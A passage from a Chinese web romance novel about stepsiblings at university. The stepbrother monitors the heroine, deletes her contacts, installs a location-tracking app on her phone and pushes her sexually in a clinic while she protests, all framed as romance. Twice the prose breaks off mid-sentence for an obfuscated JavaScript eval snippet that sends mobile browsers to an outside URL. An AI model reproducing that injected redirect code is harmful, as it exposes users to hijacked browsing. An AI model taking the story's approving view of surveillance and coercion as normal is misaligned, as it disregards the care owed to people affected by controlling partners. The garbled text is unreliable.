迟颂的占有欲很强,他喜欢项茴身上沾染他的味道,喜欢在项茴皮肤上留下他的印记,喜欢项茴佩戴他送的首饰,甚至有段时间,项茴穿什么衣服都是他决定。总之,项茴的一切,都要和迟颂有关。 项茴觉得,自己像他豢养的一只鸟儿。 而这套刻着迟颂名字缩写的首饰,就是他在宣示主权。 项茴一哂,没说话。 迟颂:“不喜欢?” 项茴闷闷点头:“喜欢的。” “那就戴上。” 说罢,迟颂拿起珍珠手链,亲自戴在她纤细的手腕上,尺寸正好,仿佛是为她量身定做的一只手铐。 “只戴手链就好了,在学校我不想太高调。” 迟颂想想,觉得有道理。 他的茴茴太好看了,总有苍蝇围着她转。两人又不在一个学校,一天24小时,迟颂没办法时时刻刻盯着她。 项茴皮肤白,珍珠首饰很衬她,整个人愈显温柔唯美,像极了油画里的古典少女。 迟颂注视着她,越看越想把人藏起来。 察觉到迟颂逐渐危险的目光,项茴聪明地转移话题,她清清嗓子,问:“这套首饰卖二手值多少钱?” 迟颂冷声:“你敢?” 现在不敢,以后敢。 这时候,传媒大学到了。 车停在校门口,在迟颂发难之前,项茴拎起书包开门下车,逃一般跑进了学校。 - 距离上课还有四十分钟,项茴不想太早去教室,于是回了宿舍。 她到的时候,宿舍其他三个人都在。大家刚睡完午觉,庄澄和楚安意已经起床了,蒋之晴还躺在床上玩手机。 “茴茴,吃饼干吗?” 项茴把下午要用的课本放进书包,摇摇头:“谢谢,不吃了。” 她今天穿的裙子是短袖,那串洁白的珍珠手链格外显眼。庄澄注意到了,拉过她的手细细察看,“你的手链真漂亮,这珍珠不便宜吧。” “何止不便宜,那是南洋白珠,珍珠中的天花板。”楚安意家里做珠宝生意,对这方面比较了解,她给两人科普:“最贵的南洋白珠曾以1200万美元拍卖,总之这东西有市无价。” 这下,连蒋之晴都从床上探出脑袋,盯着项茴手腕看了很久。 同住快一年了,大家都知道项茴家境好,毕竟上下学都有专车接送,但不知道具体好到何种地步。 蒋之晴忍不住打听:“项茴,你父母做什么的啊?” 项茴不敢戴着这么贵的东西在学校乱跑,摘下来放进书包,淡淡道:“他们就是普通人。” 看出她不想说,蒋之晴识趣地没再问。 气氛僵持片刻,楚安意打破沉默。 “周五学校有篮球赛,我们学校对战外校,你们来不来当观众?能加学分哦。” 学渣最喜欢这种活动了。 不用学习,拍拍手就能拿分,要是高数也这么简单就好了。 项茴举手:“报名。” 庄澄:“我我我我。” 楚安意在学生会任职,每次有加学分的活动她都先问问几个室友,反正肥水不流外人田嘛。 蒋之晴:“能带上我男朋友吗?” 蒋之晴的男友在外语系,两人是一个地方的,军训那会就开始搞暧昧,军训结束就在一起了。小情侣形影不离,蒋之晴干什么都喜欢带家属。 楚安意:“那不行,学生会就给了我三个名额。” “你帮忙争取一下嘛。” 楚安意有点大小姐脾气,瞬间拉下脸:“又不是我男朋友,我凭什么帮忙争取?” “不争取就不争取咯,你凶什么。” 眼看两人要吵起来,庄澄及时打断,“话说我们学校对战哪个学校啊?有没有帅哥?” 楚安意说:“具体情况要等当天才知道。” 时间不早了,几人收拾好去教室。 路上,庄澄透露这次高数期中考全班有一半人都没及格。言外之意:没及格不是她们的错,是老师太严,是题目太难。 反正,别内耗就对了。 庄澄:“不过接下来真要好好学,期末再不及格就完蛋了,我联系了一个大二的学长,他愿意每周给我辅导一次,你来不来?” 学习这方面,项茴对迟颂无条件信赖。 毕竟人家凭本事上的京大,而且有之前的辅导经历,项茴觉得迟颂更了解她的情况。 “我也找了个人帮忙辅导,就不去了。” 庄澄:“是么?收费的还是免费?” 项茴垂下眼,目光闪躲:“收费的。” “啊?那他收费贵吗?” “贵啊,贵死了。” 每次补完课就从她身上捞补课费,价格比黄金还离谱。 - 接下来几天,京市气温持续走高,周五这天却忽然下起了小雨。幸好篮球赛在体育馆举行,倒也不影响。 四点半,项茴和庄澄结伴前往体育馆。 她们到的晚,只剩第一排还有两个空位,项茴刚坐下,手机屏幕就亮了。 迟颂:【来看我打球。】 项茴想也不想就拒绝:【没空。】 迟颂:【理由。】 项茴说:【我要赚学分。】 学分可是大学生的命。 后面迟颂没再回复,应该是默许了,项茴松了口气,心说算他有点良知。 她放下手机,旁边的庄澄忽然摇晃她的胳膊,“茴茴,许慕明也来了,诺,他正在看你呢。” 许慕明是戏剧影视学院的,今年大三,长相俊朗酷爱运动,在校期间拍过几支广告小有名气,很受女生欢迎。 项茴刚入学那会,因为一篇帖子讨论度很高,当时很多男生都想要她的联系方式,但最后只有许慕明行动且成功了。 大一上学期,两人选过同一门课,当时被分在一个小组,为方便完成小组作业就加了微信。选修课结束后,许慕明约项茴看电影吃饭,被项茴拒绝之后就没了交集。 项茴知道许慕明的心思,但她对人家没感觉,自认为也没给过对方希望,所以见到许慕明,内心并无波澜。 “许慕明是篮球队的,他今天不出现才奇怪吧。”项茴说:“你别把我们扯在一块。” 庄澄:“我就是觉得你们两颜值比较般配嘛,许慕明已经偷看你三次了,这小子肯定还没死心。” “那是他的事,和我无关。” 这时不知为何,观众席忽然开始躁动,大家的脑袋齐刷刷看向体育馆东门,紧接着便人声鼎沸,像炸开了锅一样。 四周的讨论声如潮水般涌向项茴: “妈妈,我遇到我的crush了,三分钟,我要那个穿9号球衣的男生全部资料。” “颜值高身材逆天,还他么是京大的,卧槽,找不出此男任何缺点。” “九号球衣到底叫什么啊?单身否?有钱否?性取向为女否?” …… 项茴循着人声望去,竟然看见了迟颂。 她惊得呆滞在座位上,连被旁边的女生踩到脚都没察觉,迟颂说的打球,是来传媒大学打吗?为什么,京大没体育馆? 项茴发呆的时候,迟颂已经在一堆人中精准捕捉到她。 四目相对,仿佛被摁下消音键,项茴什么都听不到了。 她脊背一僵,下意识低下头。 在这种场合遇见,肯定要装不认识,否则不知要惹出多少麻烦。 好在,迟颂似乎也是这么想的。 京大的休息区就在第一排左侧,距离项茴座位不到五米。迟颂和几个队友从旁边经过,淡淡扫一眼她,很快移开了视线。 迟颂穿九号白色球衣,额头前戴了条灰色发带,清爽帅气,蓬勃的少年气迎面而来。他皮肤冷白,露出的胳膊和小腿上是一层薄肌,清瘦却有力量,看得出来平时没少健身。 到达休息区后,迟颂便低头和队友交流,好像在讨论战术。 但全场女生的目光都黏在他身上,包括项茴。 项茴也不想注意他,无奈这人存在感太强了,她做不到忽视。 “今天真是来对了。”庄澄兴奋得眼睛都在冒光,“我还以为京大的男生都是书呆子呢,没想到人家不光脑子聪明,颜值也一骑绝尘,尤其那个穿九号球衣的,帅得人神共愤啊啊啊。” 周遭吵得想让人捂耳朵,项茴趁乱看了眼手机,才发现迟颂又给她发信息了:【比赛结束一起回家。】 迟疑片刻,项茴打字:【收到。】 庄澄还在激动,“茴茴,我收回刚才我说过的话。” “什么话?” “其实你和许慕明颜值只有七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585912|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分匹配,但你和那个九号球衣的帅哥十分匹配,要是你两当明星,演一部言情剧,咪的天,想想都磕死了,我就说你选错专业了。” 庄澄没别的爱好,平时就喜欢追星和搞邪门cp。 项茴泼她冷水:“甄嬛和祺贵人还不够你磕吗?” “人家偶尔也想磕点异性恋啦。”庄澄若有所思,“刚刚九号球衣帅哥从我们这边经过的时候,我发现他喉结好大,性功能应该挺强的。” “……” 求求她闭嘴吧。 - 迟颂是京大篮球队的主力,最近因为参与公司事务很少上场了,今天球队经理告诉他和传媒大学约了友谊赛,迟颂才答应过来。 比赛开始前,按照惯例双方先友好握手。 迟颂跟随领队走到传媒大学休息区,正依次握手,忽然听到旁边有人提起项茴的名字: “项茴今天肯定是来看你打球的,许哥,好好表现哦,说不定今天就是你的单身终结日。” 许慕明笑容温和,“别乱说话,项茴不好追,我有耐心慢慢来。” “嗨,以你的颜值和实力,早晚的事。球场上来个帅气的三分或者扣篮,女生都喜欢看这个。” …… 迟颂审视那个叫许慕明的男生,神色难辨,只在与许慕明握手时,力道不自觉重了几分。 很快,球赛开始了。 迟颂在队内的位置是小前锋,主攻得分和防守,他和京大队伍里的成员一起打球很久了,配合默契,一个眼神动作就明白对方的意思。 反倒是传媒大学这边,今天有两个新人上场,配合度不高连连丢分。 场上局势变化迅速,京大一直领先。 这时,京大一号球员抢到篮板球,他迅速运球过人,并成功将球传给迟颂。 迟颂早就退到了三分线外,稳稳接球后转身,运球突破禁区,很不巧,这次防守他的人是许慕明。 空气中仿佛弥漫着火药味,对峙一触即发。 迟颂进攻风格又快又猛,目光紧盯许慕明,像一头危险的狼。明明只是场普通的友谊赛,那瞬间,许慕明后背竟涌上一股凉意。 他走神的功夫,又被迟颂假动作骗过,没防住错失最后的机会。 迟颂运球起跳,突破重重阻碍,身体凌空一跃,完成了一个漂亮的扣篮。 场馆内安静几秒,然后是震耳欲聋的尖叫,观众席有人挥舞小彩旗,有人使劲鼓掌吹口哨,总之女生们都很疯狂。 迟颂扣篮结束,刚好中场休息。 他坐在场边喝水,神色冷漠,看不出一丝情绪。 传媒大学那边紧急调整战术,有人开玩笑:“许哥,你是不是和对面那个九号有仇啊?感觉他一直针对你。” 许慕明在京市长大,家里有些人脉,他自然认识迟颂,但迟颂认不认识他就不确定了。 迟家背景深厚,在京市一众豪门里尤其突出,不是什么人都有资格和迟家结交的。他自认为两人没什么过节,但迟颂今天就是对他有敌意。 刚刚握手的时候,许慕明指关节都快断了。 不过,传言中迟颂本就性情冷漠,眼高于顶谁都瞧不上,他只能安慰自己想多了。 两支队伍各自复盘,准备下半场比赛,项茴这边倒是很轻松,鼓掌就行了。 但今天很不一样。 主场在传媒大学,观众大多也是传媒大学的学生,大家本该为自己的校队加油,然而迟颂进球的时候,观众鼓掌最热烈,甚至还有人在喊九号加油。 庄澄感慨:“果然,颜值就是正义,大家为了帅哥,才不管母校荣誉。” 项茴困得打呵欠,“什么时候结束啊,饿了。” “清醒一点,别人看帅哥流口水,你看帅哥打呵欠,九号帅哥的颜值难道喂不饱你吗?” 项茴冷漠脸,“喂不饱。” 下半场球赛依然没有悬念,京大高歌猛进,在这种快节奏的攻势下,两所大学的分差越拉越大,最终,以103比76结束了比赛。 大部分观众都意犹未尽,久久舍不得离去。 项茴注意到,比赛一结束迟颂就和队友走出了体育馆,有女生追上去找他要联系方式,不知道迟颂给没给。 算了,反正不关她的事。 庄澄伸伸懒腰,遗憾道:“九号帅哥的欣赏之旅就这么结束了。” 项茴:“学分终于到账了。” 收拾好书包,两人一起走到体育馆门口。外面依旧在下雨,不过雨势小了许多。 风带来丝丝凉意,项茴打了个冷颤,莫名有种不好的预感。 晚上没课,告别后庄澄回寝室,项茴本打算直接去校门口,撑伞走到半路却收到迟颂的信息。 迟颂:【来校医室。】 5. 005 项茴回忆起刚刚迟颂离开体育馆的画面,京大赢得风光,他被一堆人围在中间,偶尔侧头和队友说几句话,状态良好,根本不像受伤的样子。 所以,他去校医室干什么? 事出反常必有妖,项茴犹豫几秒,回复说:【能不去吗?我和郑叔叔在车上等你。】 迟颂:【你觉得呢?】 这意思就是没商量的余地。 他一贯独断专行,项茴早习惯了,妥协说:【知道了,我现在过来。】 校医室位于西门附近,外形一栋独立的白色小楼。其实是社区医院,病人除了传媒大学的学生,还有附近的居民。 这会大部分医生都下班了,只有几个房间还亮着灯,病人更是寥寥无几。 项茴上二楼绕了几分钟,终于在观察室看到了迟颂。 “伤口不要沾水,最近几天保持饮食清淡,别的就没什么了。” 迟颂颔首:“谢谢。” 项茴走近,这才发现迟颂右侧小臂有几道划痕,像是被什么利器划的。伤口不深但挺长的,医生帮他做了简单的消毒,说是不用包扎。 医生收拾好药品器械,见项茴在旁边皱着眉头,一眼看出两人的关系:“小同学,来接你男朋友吗?放心,他没事儿。” “啊?” 项茴怔愣片刻,才反应过来医生在和自己说话。 她尴尬地牵了牵唇角,“不是男朋友,他是我哥。” “哦。”医生也一脸尴尬,“不好意思啊,我乱说的。” 短短几句对话,迟颂却听笑了。 他舔了舔唇,慢悠悠抬眼,拖着调子道:“嗯,她是我妹妹,一起睡觉的那种妹妹。” 语气要多暧昧有多暧昧。 “……” 医生CPU都快干烧了。 兄妹乱那什么伦? 幸好她做这行足够久,什么场面都见过,飞快打量两人几眼,端上换药台,面色平静地说:“休息一下就可以回去了。” 临走前,还贴心地为他们拉上病床隔帘。 帘子围成一方小小的空间,项茴站着,迟颂半躺在病床上,两个人一高一低,实际地位却完全相反。 项茴脑子里都是那句“一起睡觉的妹妹”,既震惊迟颂的不要脸,又暗暗祈祷以后不要再见到那位医生了。 项茴恨得咬牙,“你少说几句话不行吗?” 迟颂无所谓地点点头,“不行。” 好好好,迟颂一天不作妖就不是迟颂了。 人在无语的时候是真的会笑,毕竟还在外面,项茴决定先不计较那么多,耐着性子问:”可以走了吗?我让郑叔叔来西门接我们。” 迟颂目的没达到,怎么可能善罢甘休。 今天打球的时候,传媒大学有个男生指甲比较长,争抢间迟颂小臂被划了几道。一点小伤,他没娇气到要来校医室,但想到那个男生的长指甲,迟颂一阵反胃,还是决定过来消消毒。 更重要的是,项茴又欠收拾了,他们需要一个安静的地方解决问题。 迟颂就这么半躺在床上,浑身一股懒劲,不说话,也不起来,但望着项茴的目光很有攻击性。 如果能释放信息素的话,此时,这方被围起来的小小天地,肯定充满了浓郁的危险的气息。 项茴也慢慢察觉出不对劲。 相识快两年,她太了解迟颂了。上次迟颂露出这种表情,她被他按在浴室洗手台上欺负了整整四个小时。 上次是因为项茴去参加同学的生日趴体,没提前向迟颂报备,中途没接迟颂的电话,也没回迟颂的信息,到家时间还比他规定的晚了十分钟,于是惨遭毒手。 这次又是为什么呢? 项茴不知道自己又哪里惹他生气了。 她很识相,知道这种时候和迟颂对着干讨不到好,于是放软了态度,声音低低的,“我们先回去行吗?别占用医疗资——啊——” 项茴还未反应过来,便被迟颂攥住手腕,一把扯到了病床上。 下雨天室内本就昏暗,此时正直黄昏,光线更是被床帘吞噬大半。 朦朦胧胧中,项茴倒在迟颂胸口,嗅到对方身上浓郁的木质冷香。 气息环绕,好似捕食者对猎物的天然压制,她瞬间不敢动了。 “迟——迟颂,你讲讲道理。”项茴被他强有力的臂膀紧紧箍着,试图唤醒这人的理智,“这是公共场所。” 迟颂冷哼:“那又怎么样?” 迟颂根本不在乎。 在迟颂的世界里,他的规则才是规则。 项茴强装镇定,“你到底想怎么样?” “我问你,为什么要说谎?” “我说什么谎了?” 迟颂打她屁股,呼吸有些沉,“比赛开始前,你说要去赚学分所以不来看我打球,结果呢?你出现在体育馆又是为了谁?” 就因为这件事? 项茴无语凝噎,但还是好声好气地解释:“你误会了,我真是去赚学分的,当观众可以加两个学分。怎么,你们京大没这种活动吗?” 拜托,理解一下学渣为学分拼命的心情吧。 迟颂不知道信没信,眼神自上而下地打量她,“不是为了看许慕明?” 项茴懵逼三连问:“许慕明?大三那个学长?这关他什么事?” “哦,看来你们认识。”迟颂皮笑肉不笑,“学长,叫的好亲切啊。” 完蛋。 项茴心口咯噔一声,迟颂小气吧啦,最讨厌她提别的男人了。 项茴被吓得说话都结巴了,“我们……我们确实认识,上学期选过同一门课,一起做过小组作业,就是普通的同学关系。” 迟颂:“是不是还加了联系方式?” 迟疑片刻,项茴撒谎了,“没有。” 之所以没说实话,是因为项茴觉得,手机朋友圈是自己的隐私。她在迟颂面前已经够卑微了,项茴想保留最后一点基本的隐私权。 但迟颂才不管那些,他轻笑了声,表情阴冷像条毒蛇,“茴茴,你说谎的时候,总是不敢直视我的眼睛。” 谎言败露,项茴沉默了。 “手机拿出来,把他删了。” 他总是这样,手段强硬,不顾及别人感受。 作为一个正常人,难道就不能有自己的社交需求吗?难道她身边一辈子只能有迟颂一个异性吗? 她都那么听话了,一再退让,迟颂还是变本加厉。 兔子急了还会咬人呢。 项茴也不知自己哪来的胆子,赌气似的,颤抖着声音说:“不删,你凭什么干涉我交友的权力?别说我和许慕明没有什么,就算有什么又怎样?我是人,不是你的所有物。” 窝囊包终于硬气一回。 项茴挺起小胸脯,觉得自己可威风了。 然而她威风不到两秒,神色骤变。 两个成年人躺在一起,让本就狭小的病床更加局促,对峙间身体难免产生摩擦,一摩擦就容易出事。 迟颂正是血气方刚的年纪,早被她看得浑身发热,眼眸逐渐变暗,呼吸粗重。 “你——”项茴红着耳朵咒骂,“吵架都能有反应,你真是个变态,禽兽。” 她越骂,迟颂越兴奋,手指掐住项茴脸颊,眼神贪恋地在她身上扫视,“宝宝,你骂人真好听。” 樱桃小嘴叽里咕噜,粉色的舌头若隐若现,迟颂没点反应就不是男人。 “……” 原本紧绷的气氛一下就变了味道,吵架也吵不起来了,但迟颂是不达目的不罢休的人。 他拇指揉搓着项茴嘴唇,似引诱,又像威胁,“听话,把他删了,今天这事我当没发生过。” 不能妥协,不能妥协—— 项茴在心里给自己打气,一步退步步退,她要为自己争取权益。 于是,项茴弱弱道:“我不。” “呵——”迟颂发出一声冷笑,“茴茴,别惹我生气。” 项茴当然知道,迟颂生气的后果很严重。她的理智在博弈,一边劝自己好汉不吃眼前亏,另一边又让她吹响反抗的号角。 两人无声地对峙,不知过去多久,就在项茴熬不住几乎要妥协的时候,有人打破了病房的沉寂。 “医生,我需要拍个片子。” 是许慕明。 这人早不来晚不来,偏偏挑这个时候。 医生值班的工位和病床在一个房间,中间用屏风遮挡。不过刚刚医生去隔壁房间配药品了,听闻许慕明的喊声赶忙跑过来。 医生:“哪里不舒服?” 许慕明伸出右手:“手指疼得厉害,今天打球被人阴了。卧槽,你快帮我看看,骨头是不是断了。” 医生仔细查看,两人的交流声不断透过屏风传过来,项茴浑身紧绷,刻意放缓呼吸,不敢弄出一点动静。 但迟颂怎会让她如愿,他本就忍得辛苦,这下更是放肆。 “茴茴,你的学长就在外面。”迟颂含住她的耳垂,舔舐吮吸,手也没闲着,去解她胸口的扣子。 “让他看看也好,知道我们的关系,我看那个姓许的还敢不敢觊觎你。” 项茴一下子慌了,一边挣扎一边躲避迟颂的吻,“不行,别在这里——” 迟颂不听,手越来越不安分。 项茴又急又怕,紧紧咬住唇,不让自己发出一点声音。但这只是徒劳,迟颂如果来真的,她忍不住不叫。 什么反抗,什么隐私权,所有一切都被抛到九霄云外,项茴现在只想顺着他,把这位难搞的大少爷哄好。 “迟颂——” “阿颂——” “哥哥——好哥哥——” 轻声唤了好几声,迟颂才停下动作,意犹未尽地看着她。 项茴抓住机会,颤抖着仰头,小心亲吻他的喉结,“我听你的,都听你的,先回家好不好?” 迟颂目光炯炯,勾着一抹笑,“都听我的?” “嗯嗯。” “好,回去。” 这时候,医生刚好带许慕明去了三楼的CT室,趁没人看见,项茴抓住迟颂的胳膊,赶紧把人带出了校医室。 郑叔叔的车已经在西门等候多时,项茴拉开车门把迟颂塞进去,自己也上车关门,动作一气呵成。 屁股还没坐热,迟颂便伸手:“手机拿来。” 项茴白他一眼,但还是听话地上交手机。 手机密码就是她的生日,0829。迟颂解锁后点开微信,找到许慕明的头像,查看两人聊天记录。 一字不漏地看完,胸口堆积的郁气非但没消,反而更重了。 不在一个学校就是麻烦。 姓许的竟然上学期就开始勾搭项茴,一瞬间,迟颂觉得自己还是太掉以轻心了。 什么阿猫阿狗都敢往项茴跟前凑,也不照照镜子。 迟颂删掉许慕明,并把自己的微信置顶,紧接着,打开手机应用商城下载一款名为“looking”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585913|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软件。 一顿操作,等项茴拿回自己的手机,才发现多了一些东西。 “这是——”她顿了顿,“定位软件?” looking是一款实时定位软件,能让双方随时知晓对方的位置,一般异地情侣用的较多,有段时间网上到处是这个app的广告。 项茴没想到,自己有一天也会用上这个软件。 迟颂这样做,和监视她有什么区别? “我也装了这个app。”迟颂给她看自己的手机,“并且,我们的账号绑定了,这样随时能知道对方的位置。” 项茴:“你不如在我脑袋上装个摄像头。” “好主意,你喜欢哪个牌子的摄像头?” 和迟颂根本讲不通道理。 项茴语气低落,整个人无力地陷进座位,她望着车窗外飞快闪过的霓虹夜景,低声道:“一个牌子都不喜欢。” 迟颂目光落在她的面庞上,沉默片刻,神色冷下去,“删掉许慕明让你很伤心?” 项茴没看他,气鼓鼓像只河豚,“我不想和你说话了。” 迟颂气笑了,扭过头,也看向车窗外,“随你。” 车内弥漫着低气压,如同寒流过境,冻结了所有的声音,让人喘不过气。 沉闷压抑的氛围下,郑宏远不由得挺直脊背。他从后视镜观察闹别扭的两人,不禁皱起眉头。 郑宏远早年在迟颂外公手下做事,后来迟颂的妈妈周夏盈嫁到迟家,他就跟过来给周夏盈做专职司机,直到周夏盈去世,他又专门接送迟颂。 可以说,郑宏远是看着迟颂出生长大的,因此,他对迟颂比对迟启文还忠心。 从小到大,迟颂要风得风,要雨得雨,有迟家和周家护航,郑宏远曾以为,没有人敢让迟颂受气。 直到这个叫项茴的女孩出现。 她是第一个骂迟颂的人,第一个冲迟颂翻白眼的人,也是第一个敢忤逆迟颂,敢和迟颂吵架的人。 还不止一次。 总之,项茴小姐是个厉害人物。 - 回到御河公馆正是晚餐时间,迟启文今晚有应酬没在,瞿莉刚敷完面膜,容光焕发地从二楼下来。 迟颂和项茴前后脚进屋,前者冰块脸,后者脑袋微垂。 “阿颂,你手臂怎么了?”瞿莉注意到继子小臂上的划痕,着急跑过来询问:“哎呀,疼不疼?” 迟颂对待瞿莉的态度一直很微妙。 礼貌有,但不多,除了冷淡,还是冷淡,有时好几天也说不上一句话。 他回了句:“没事。” 直到莲姨听到声音从厨房跑出来,询问怎么回事,迟颂才道:“打球被人抓的。” “苍天呀,这么长的伤口那人指甲得多长。”莲姨心疼得要命,絮絮叨叨:“我拿药帮你处理一下吧,明天叫私人医生过来看看。” 迟颂:“已经处理过了。” 他撂下这句话便往楼上走。 莲姨操心地大喊:“别回房间了,吃饭。” “饱了。” 莲姨咕哝:“吃都没吃怎么就饱了?” 瞿莉:“好像心情不好。” 她看向一同回来的女儿,企图从项茴嘴里知道些什么,“茴茴,谁惹你哥哥生气了?” 项茴刚放下书包,大概和迟颂厮混久了,表面一套背后一套的技能她也学得炉火纯青,只要进入家门,自动开始演戏。 项茴摇摇头,“我不知道。” “你们坐一辆车上,你就没察觉什么?” 莲姨打圆场:“茴茴和阿颂又不是一个学校的,怎么可能知道嘛,别为难孩子了,吃饭吃饭。” 吃完晚饭时间还早,项曦在客厅看电视,项茴回到房间打算学一会儿高数。 今天上午有三节高数课,老师讲的曲线积分和曲面积分,还留了十二道题做课后作业,下周一要交。 谁说大学就轻松了? 到底谁说的! 有了期中考38分的教训,项茴下决心和高数死磕到底,今早的高数课,她集中注意力专心听讲,然而知识有它自己的想法,匆匆从项茴脑子中溜走,丁点儿也不剩下。 尤其到了第三节课,项茴听困了打个呵欠的功夫,老师的板书已经擦了又写,密密麻麻犹如天书。 设f(x,y)在曲线弧L上有定义且连续,L的参数方程为…… 题目都读不懂。 项茴打开宿舍小群,【你们的高数作业写了吗?】 庄澄:【没有,上午的高数课我又睡了,怎么会这样,我明明不想睡的啊。】 楚安意:【写完了,要抄吗?】 楚安意:【二十元一题。】 庄澄:【大小姐,您缺这点钱吗?】 楚安意:【做生意讲究积少成多。】 庄澄:【奸商。】 …… 项茴想到了迟颂。 那家伙性格变态,脑袋也变态,听莲姨说,他高中时解压的方式之一,就是做道数学题。 他虽然恶劣,但讲题项茴能听懂。 人与人的差距就是这么大。 看着微信置顶,项茴忍不住点开两人的对话框,想到才放过狠话,又停下打字的手。 这次迟颂太过分,她不会轻易妥协了。 正要放下手机,微信页面忽然蹦出一个红点。 迟颂:【五分钟后我去你房间。】 迟颂:【补课。】 6. 006 妥协,顺从,反抗—— 吵架,服软,和迟颂别扭地相处,继续乱七八糟的关系—— 这半年以来,项茴的生活一直如此反复。不是没想过彻底结束,但他们之间,项茴从来没有喊停的权力,迟颂才是那个主导者。 一想到今天他的恶劣行径,项茴就胸闷气短。 他怎么可以在外面乱来,怎么可以删除她的微信联系人,还给她的手机装定位软件。 可怕的控制欲。 项茴还在气头上,看见迟颂发来的补课信息没搭理,她放下手机,决定靠自己的本事解决问题。 不就是高数么,她不信学不会。 项茴翻开《高等数学》,找到老师今天讲的内容,从头开始看。 1、定义的理解 对弧长的曲线积分,记作∫Lf(x,y)ds或∫Lf(x,y,z)ds……积分转化为关于x的一元定积分…… 五分钟后。 救命,她要晕字了。 项茴怀疑自己的智商可能真有问题。 恰好这时候门被叩响,迟颂的声音从外面传进来,“开门,给你补高数。” 项茴纠结片刻,起身去开门。 好不容易考上的大学,她可不想挂科,更不想明年和大一新生坐在一个教室里,重新学一遍要命的高数。 把迟颂当学习工具好了。 门外,迟颂穿着件黑色长袖,炽白光线自上而下投落,衬得他整个人冷清而遥远。 项茴抿唇,侧身让出一条通道,“哥哥,请进。” 迟颂便进来了,项茴跟在他身后。 书桌前正好有两把椅子,迟颂坐左,项茴坐右,距离不远不近,跟一对同桌似的。 迟颂抓起一支碳素笔,问:“你们老师讲到哪儿了?” 他的手腕嶙峋清瘦,指节白皙分明,握笔翻书的模样,让项茴想起两年前,迟颂第一次帮她补课的场景。 那天补的也是数学,迟颂低头看试卷,“这道题考三角函数,需要用到的公式有六个……” 当时项茴和这个继兄根本不熟,别说近距离听他讲题了,见到他就紧张想躲。所以迟颂讲第一遍的时候,项茴走神了。 “听懂了吗?” 项茴嗫嚅,“没。” “哪里没听懂?” “哪里……都没听懂。” 这句话真的很像找茬,项茴以为迟颂要生气了,连忙道歉:“对不起哥哥,是我太笨了,我——” “你不笨。”迟颂心平气和道:“只是基础没打好。” 复读跟不上进度,月考一团糟,瞿莉对她很失望…… 那段时间项茴垂头丧气,已经被打击得没自信了,头一次听到有人说她不笨,心口突然一热,她揉揉眼睛:“谢谢。” 迟颂放慢语速,重新讲了一遍。 那天之后,迟颂每周帮她补课三次,还给项茴定下目标。 迟颂的话还是不多,人也依旧冷冷的,每次补完课就走一秒都不多呆,两人更没有任何肢体接触,以至于频繁接触下来,项茴愣是半点没察觉他对自己的野心。 直到第二次高考结束,项茴收到大学录取通知书那天,亲耳听到迟颂说,他想要的礼物,是她。 项茴人麻了,亏她一直以为迟颂面冷心热,是个大大的好人。 原来都是装的—— 若是早知道,她一定远远躲开他。 往事不可追,思绪回到当下,项茴翻开高数课本目录,把老师讲过的内容勾画出来。 她也不管丢不丢脸了,坦白道:“高数课本对我而言像天书,好多知识点我连定义都看不懂,不如你从理论开始讲吧。” 迟颂说:“不懂也没事,会用公式做题就行。” “啊?” “啊什么,你的目的是通过期末考,又不是当数学家。” 项茴:“有道理,所以你打算怎么让我会做题?” 迟颂递给她一沓资料,“先背公式,再讲你们老师布置的课后作业。” 项茴:“这样……能行吗?” 迟颂:“你没发现期中考的题目大部分来自课后作业?” 原本项茴还不太信,对照课本翻了翻,才发现确实如此。这次期中考的题目有三分之二都是课后习题的变形,怪不得考试那会她觉得题目眼熟。 项茴奇怪:“你又不是我们学校的,你怎么知道?” 迟颂:“找人问过。” 项茴微怔,想起来迟颂好像有朋友在传媒大学,和项茴还是同院系。 迟颂只要答应给她补课,就会好好补。从前是,现在也是,他从不拿项茴的成绩开玩笑。 说起来,他们保持这种关系有半年了,迟颂对她不是不好,可这些好并不能抵消他的坏,更不能让项茴忘记他们各自的身份。 学习时不宜多想,项茴抛却杂念认真听讲,直到十一点半才结束。 用脑过度太阳穴酸胀,项茴轻轻按压。 迟颂放下笔,望一眼窗外幽深的夜色,“今晚先到这儿,下周一继续。” “好。” 项茴下意识以为他要走了,起身送客。然而她刚站起来,手腕却被迟颂攥住,轻轻揉捏摩梭,像某种暗示。 “……” 项茴登时警铃大作,心口扑通扑通。 今晚,还是逃不掉吗? “补课结束,该做点别的了。”迟颂稍稍用力一扯,将人拉到腿上坐好,他微眯着眼睛,询问:“回我房间?还是在这儿?” 听起来将选择权交给项茴,但实际不是那么回事,怎么选,都是陷阱。 项茴眉眼低垂,乖乖坐他腿上不动,心里却不肯服软。她的唇抿成直线,闷声道:“我还在生气呢,你能不能别总想床上那点事儿。” 迟颂愿意哄她,好整以暇:“跟我说说,你为什么生气?” “因为你太欺负人了。” 迟颂道歉:“对不起,我错了。” 项茴漂亮的眼睛终于看向他,“你错哪儿了?” “哪儿都错了。” 项茴语气软了些,“光知错可不行,你要拿出实际行动来。” “嗯,等会我好好表现,让你舒服。” “??” 等等,说来说去,怎么又绕到那事上了。 项茴:“你是不是故意的?故意听不懂人话?” “是又怎么样?”迟颂掌心控住她的背,把人压向自己,眼神像锁定猎物的野兽,幽幽泛起光芒:“茴茴,其实我不觉得自己做错了。” 就算错了,也不改,这才是迟颂。 沟通再次失败,项茴终于见识到迟颂有多偏执。他对谁都这样吗?还是仅限于她? 项茴彻底没了脾气,“好好好,我说不过你。” 